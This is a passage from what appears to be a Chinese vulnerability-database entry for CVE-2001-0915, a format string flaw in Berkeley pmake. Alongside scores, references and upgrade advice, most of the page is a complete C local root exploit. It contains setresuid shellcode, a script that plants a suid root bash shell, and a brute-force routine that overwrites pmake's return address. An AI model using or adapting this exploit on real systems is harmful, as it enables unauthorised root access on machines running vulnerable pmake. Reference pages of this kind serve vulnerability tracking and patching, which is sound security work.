CVE-2001-0915
CVSS7.2
发布时间 :2001-11-21 00:00:00
修订时间 :2016-10-17 22:13:15
NMCOE    

[原文]Format string vulnerability in Berkeley parallel make (pmake) 2.1.33 and earlier allows a local user to gain root privileges via format specifiers in the check argument of a shell definition.


[CNNVD]Berkeley Parallel Make Shell 定义格式化字符串漏洞(CNNVD-200111-029)

        Berkeley parallel make (pmake) 2.1.33版本存在格式化字符串漏洞。本地用户可以借助shell定义的check参数的格式化分类符提升根目录特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0915
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0915
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200111-029
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=100638919720975&w=2
(UNKNOWN)  BUGTRAQ  20011121 Advisory: Berkeley pmake
http://www.iss.net/security_center/static/7602.php
(UNKNOWN)  XF  pmake-shell-format-string(7602)
http://www.securityfocus.com/bid/3572
(UNKNOWN)  BID  3572

- 漏洞信息

Berkeley Parallel Make Shell 定义格式化字符串漏洞
高危 格式化字符串
2001-11-21 00:00:00 2005-10-20 00:00:00
本地  
        Berkeley parallel make (pmake) 2.1.33版本存在格式化字符串漏洞。本地用户可以借助shell定义的check参数的格式化分类符提升根目录特权。

- 公告与补丁

        Vendor updates available:
        S.u.S.E. Linux 6.4 ppc
        
        S.u.S.E. Linux 6.4 alpha
        
        S.u.S.E. Linux 6.4
        
        S.u.S.E. Linux 7.0 alpha
        
        S.u.S.E. Linux 7.0
        
        S.u.S.E. Linux 7.0 ppc
        
        S.u.S.E. Linux 7.1 x86
        
        S.u.S.E. Linux 7.1 alpha
        
        S.u.S.E. Linux 7.1 ppc
        
        S.u.S.E. Linux 7.2
        

- 漏洞信息 (21158)

S.u.S.E 6.4/7.0/7.1/7.2 Berkeley Parallel Make Shell Definition Format String Vulnerability (EDBID:21158)
linux local
2001-11-21 Verified
0 IhaQueR@IRCnet
N/A [点击下载]
source: http://www.securityfocus.com/bid/3572/info

Parallel Make (pmake) is a freely available version of the make program, originally distributed with Berkeley Unix. It is designed to execute Makefiles and build programs.

pmake is not typically setuid root, although some Linux distributions default to installing it this way. When a Makefile is executed by pmake, certain user-defined variables can be set in the Makefile by the user. One such variable is the shell definition variable, or .SHELL. By supplying a format string in the check= field of the .SHELL variable, it is possible to write to an arbitrary memory address of the program. This could result in the overwriting of the return address, and execution of arbitrary code with root privileges. 

/****************************************************************
*																*
*		Pmake <= 2.1.33 local root exploit						*
*		coded by IhaQueR@IRCnet									*
*		compile with gcc -pmexpl-c -o pm						*
*		meet me at HAL '2001									*
*																*
****************************************************************/





#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>



//	some definitions
#define TARGET "/usr/bin/pmake"
#define MKFILE "Makefile"
#define MKMSH "./mkmsh"
#define TMPLEN 256
#define USERSTACK 0xc0000000u
#define NN "\E[m"
#define GR "\E[32m"
#define RD "\E[31m"
#define BL "\E[34m"
#define BD "\E[1m"
#define FL "\E[5m"
#define UL "\E[4m"


extern char **environ;

static const char *banner = "\n"
							BL"*****************************************\n"
							"*\t\t\t\t\t*\n"
							"*\tpmake local root exploit\t*\n"
							"*\tby "FL"IhaQueR@IRCnet"NN BL" '2001\t\t*\n"
							"*\t\t\t\t\t*\n"
							"*****************************************\n"
							"\n"NN;

static const char *usage =	"\n"
							UL"USAGE:"NN " %s\t-w <wlen delta, try -32,...,32>\n"
							"\t\t-s <shell addr>\n"
							"\t\t-a <ret addr  0xbfff73c0 for orig SuSE 7.1 and pmake
2.1.33>\n"
							"\t\t-m <attempts>\n"
							"\t\t-p <%%g preload>\n"
							"\n";

static const char *mkfile = "all:\n\t-echo blah\n\n.SHELL : path=/bin/sh
echo=\"\" quiet=\"\" hasErrCtl=no check=";

//	setresuid(0,0,0) shellcode
static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
						"\xb0\xa4\xcd\x80"
						"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
						"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
						"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";

//	our suid shell maker
static char mkmsh[] =	"#!/bin/bash\n"
						"cat <<__DUPA__>sush.c\n"
						"#include <stdio.h>\n"
						"#include <unistd.h>\n"
						"main() {setuid(geteuid()); execl(\"/bin/bash\", \"/bin/bash\",
NULL);}\n"
						"__DUPA__\n"
						"gcc sush.c -o sush >/dev/null 2>&1\n"
						"chown 0.0 sush\n"
						"chmod u+s sush\n";

static char *fromenv[] = {	"TERM",
							"HOME",
							"PATH"
						};

#define numenv (sizeof(fromenv)/sizeof(char*)+2)

static char *myenv[numenv];
static char eb[numenv][TMPLEN];

int cn=0;


void child_kill(int v)
{
		cn--;
}


int do_fork()
{
		cn++;
		return fork();
}


int main(int ac, char** av)
{
int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
unsigned char *ptr;
char buf[16384];
char buf2[16384];
char aaaa[1024*32];
char head[64];
struct stat sb;
fd_set rs;


//	setup defaults
//	shell address is calculated from user stack location and the big nop
buffer...should work :-/
		shadr = USERSTACK - sizeof(aaaa)/2;
		wadr = 0xbfff73b0;
		mx = 512;
		gprel=150;
		wdel=0;

		setpgrp();
		setsid();

		printf(banner);

//	parse options
		if(ac!=1) {
			res = getopt(ac, av, "hw:s:a:m:p:");
			while(res!=-1) {
				switch(res) {
				case 'w' :
					wdel = atoi(optarg);
					break;

				case 's' :
					sscanf(optarg, "%x", &shadr);
					break;

				case 'a' :
					sscanf(optarg, "%x", &wadr);
					break;

				case 'm' :
					sscanf(optarg, "%d", &mx);
					break;

				case 'p' :
					sscanf(optarg, "%d", &gprel);
					if(gprel==0)
						gprel=1;
					break;

				case 'h' :
				default :
					printf(usage, av[0]);
					exit(0);
					break;
				}
				res = getopt(ac, av, "hw:s:a:m:p:");
			}
		}


//	phase 1 : setup
		printf("\n\n"BD BL"* PHASE 1\n"NN);

//	prepare environ
		printf("\n\tpreparing new environment");
		memset(aaaa, 'A', sizeof(aaaa));
		aaaa[4]='=';
		up=(unsigned*)(aaaa+5);
		for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
			up[i]=0x41424344;
		aaaa[sizeof(aaaa)-1]=0;
		len1=strlen(aaaa);

//	buffer overflow :-)
		myenv[0]=aaaa;
		for(i=1; i<numenv-1; i++) {
			myenv[i]=eb[i-1];
			strcpy(eb[i-1], fromenv[i-1]);
			if(!strchr(fromenv[i-1], '=')) {
				strcat(eb[i-1], "=");
				strcat(eb[i-1], getenv(fromenv[i-1]));
			}
		}
		myenv[numenv-1]=NULL;

//	clean
		printf("\n\tcleaning");
		unlink("LOCK.make");
		unlink("sush");
		unlink("sush.c");
		unlink("mkmsh");
		system("rm -rf /tmp/make* >/dev/null 2>&1");

//	our suid shell
		printf("\n\tpreparing shell script");
		mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
		if(mk<0)
			perror("open"), exit(1);
		write(mk, mkmsh, strlen(mkmsh));
		close(mk);

//	comm pipe
		printf("\n\tallocating pipe");
		res = pipe(pd);
		if(res<0)
			perror("pipe"), exit(2);

//	redirect stdin/out
		printf("\n\tstdout/in preparation");
		res = dup2(pd[1], 2);
		if(res<0)
			perror("dup2"), exit(3);

		fd = open("/dev/null", O_RDWR);
		if(fd<0)
			perror("open"), exit(4);

//	our makefile
		printf("\n\tgenerating Makefile");
		mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
		if(mk<0)
			perror("open"), exit(5);
		write(mk, mkfile, strlen(mkfile));
		for(i=0; i<gprel; i++)
			write(mk, "%g", 2);
		fsync(mk);

//	child killer
		printf("\n\tfinished setup");
		if(signal(SIGCHLD, &child_kill)==SIG_ERR)
			perror("signal"), exit(6);


//	phase 2 : dig format string
		printf("\n\n\n" BD BL "* PHASE 2\n"NN);
		printf("\n\tdigging magic string:\t");

		cnt=0;
		while(1) {

			lseek(mk, -2, SEEK_CUR);
			write(mk, "%g%x", 4);
			fsync(mk);
			usleep(1);

			pid = do_fork();

//	get child output
			if(pid) {
				printf("%4d ", cnt);
				fflush(stdout);

				do {
					bzero(buf, sizeof(buf));
					res = read(pd[0], buf, sizeof(buf)-1);
					if(res > 128) {
						break;
					}
				} while(1);
				kill(SIGTERM, pid);
				usleep(1);
				waitpid(pid, NULL, WUNTRACED);
				bzero(buf2, sizeof(buf2));
				read(pd[0], buf2, sizeof(buf2)-1);
				if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
					read(pd[0], buf2, sizeof(buf2)-1);

//	look for padding
				pad=-1;
				if(strstr(buf, "41424344")) {
					pad=0;
				}
				else if(strstr(buf, "42434441")) {
					pad=1;
				}
				else if(strstr(buf, "43444142")) {
					pad=2;
				}
				else if(strstr(buf, "44414243")) {
					pad=3;
				}

//	if got the mark parse output for final string
				if(pad!=-1) {
					printf("\n\tfound mark, parsing output");
					ptr = strtok(buf, "\t\n ");
					while(ptr) {
						if(strlen(ptr)>64)
							break;
						ptr = strtok(NULL, "\t\n ");
					}

//	calculate write length -6, -8 hm I'm dunno about the 16?
					wlen=strlen(ptr)+wdel-16;
					printf("\n\tFOUND magic string with pading=%d  output length=%d",
pad, wlen);


//	PHASE 3 : find write pos in aaaa
					printf("\n\n\n" BD BL "* PHASE 3\n"NN);

					printf("\n\tlooking for write position: ");

					up=(unsigned*)(aaaa+5-pad);
					cnt=0;

					for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
						old=up[i];
						up[i]=0xabcdef67;
						printf("%4d ", i);
						sprintf(head, "%x", up[i]);
						fflush(stdout);

						if(cn)
							read(pd[0], buf2, sizeof(buf2)-1);
						pid = do_fork();
						if(pid) {
							do {
								bzero(buf, sizeof(buf));
								FD_ZERO(&rs);
								FD_SET(pd[0], &rs);
								select(pd[0]+1, &rs, NULL, NULL, NULL);
								res = read(pd[0], buf, sizeof(buf)-1);
								if(res > 128) {
									break;
								}
							} while(1);
							kill(SIGTERM, pid);
							usleep(1);
							read(pd[0], buf2, sizeof(buf2)-1);

//	up[i] is now the place for the beginning of our address field
							if(strstr(buf, head)) {
								printf(" * FOUND *");
								fflush(stdout);
								up[i]=old;
								idx=i;
								printf("\n\tFOUND write position at index=%d", i);
								up[i]=old;
								ptr = strtok(buf, "\t\n ");
								while(ptr) {
									if(strlen(ptr)>64)
										break;
									ptr = strtok(NULL, "\t\n ");
								}

//	construct write 'head':
								printf("\n\tcreating final makefile");
								fflush(stdout);
								lseek(mk, -2, SEEK_CUR);

								ptr = (unsigned char*)&shadr;
								for(j=0; j<4; j++) {
									flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
									wlen = wlen + flip;
									sprintf(head+j*8, "%%%04dx%%n", flip);
								}
								head[32] = 0;
								write(mk, head, strlen(head));

//	brute force RET on the stack upon success
								printf("\n\tcreating shell in the environment");

//	create env shell
								ptr = (unsigned char*)&(up[i+2*10]);
								while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
									*ptr=0x90;
									ptr++;
								}

								strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
strlen(hellcode));
								aaaa[sizeof(aaaa)-1]=0;
								if(len1!=strlen(aaaa)) {
									printf(BD RD"\nERROR: len changed!\n"NN);
									exit(7);
								}

//	phase 4: brute force
								printf("\n\n\n"BD BL"* PHASE 4\n"NN);
								printf("\n\tbrute force RET:\t");
								fflush(stdout);
								cnt=0;

								while(cnt<mx) {

									for(j=0; j<4; j++) {
										up[idx+2*j] = wadr + j%4;
										up[idx+2*j+1] = wadr + j%4;
									}

									pid = do_fork();
									if(pid) {
										printf(" 0x%.8x", wadr);
										fflush(stdout);
										waitpid(pid, NULL, WUNTRACED);
										res = stat("sush", &sb);
										if(!res && sb.st_uid==0) {
											printf(BD GR"\n\nParadox, created suid shell at
%s/sush\n\n"NN, getcwd(buf, sizeof(buf)-1));
											system("rm -rf /tmp/make* >/dev/null 2>&1");
											exit(0);
										}
									}
									else {
										res = dup2(fd, 1);
										if(res<0)
											perror("dup2"), exit(8);
										res = dup2(fd, 2);
										if(res<0)
											perror("dup2"), exit(9);

										execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
										_exit(10);
									}
									if(cnt%8==7)
										printf("\n\t\t\t\t");
									cnt++;
									wadr += 4;
								}
//	failure
								printf(BD RD"\nFAILED :-("NN);
								system("rm -rf /tmp/make* >/dev/null 2>&1");
								exit(11);
							}
						}
						else {
							res = dup2(fd, 1);
							if(res<0)
								perror("dup2"), exit(12);
							execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
							exit(13);
						}
						up[i]=old;
						waitpid(pid, NULL, WUNTRACED);
					}

					printf(BD RD"\n\tstrange error, write pos not found!\n"NN);
					system("rm -rf /tmp/make* >/dev/null 2>&1");
					exit(14);

					ptr = strtok(buf, "\n");
					while(ptr) {
						printf("\nLINE [%s]", ptr);
						ptr = strtok(NULL, "\n");
					}

					exit(15);
				}

//	start target and read output
			}
			else {
				res = dup2(fd, 1);
				if(res<0)
					perror("dup2"), exit(16);
				execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
				exit(17);
			}

			if(cnt%8==7)
				printf("\n\t\t\t\t");
			cnt++;
		}

		printf(BD RD"\nFAILED\n"NN);
		system("rm -rf /tmp/make* >/dev/null 2>&1");

return 0;
}
		

- 漏洞信息

13989
pmake Shell Definition Check Argument Local Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2001-11-21 Unknow
2011-11-21 Unknow

- 解决方案

Upgrade to version 2.1.36 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站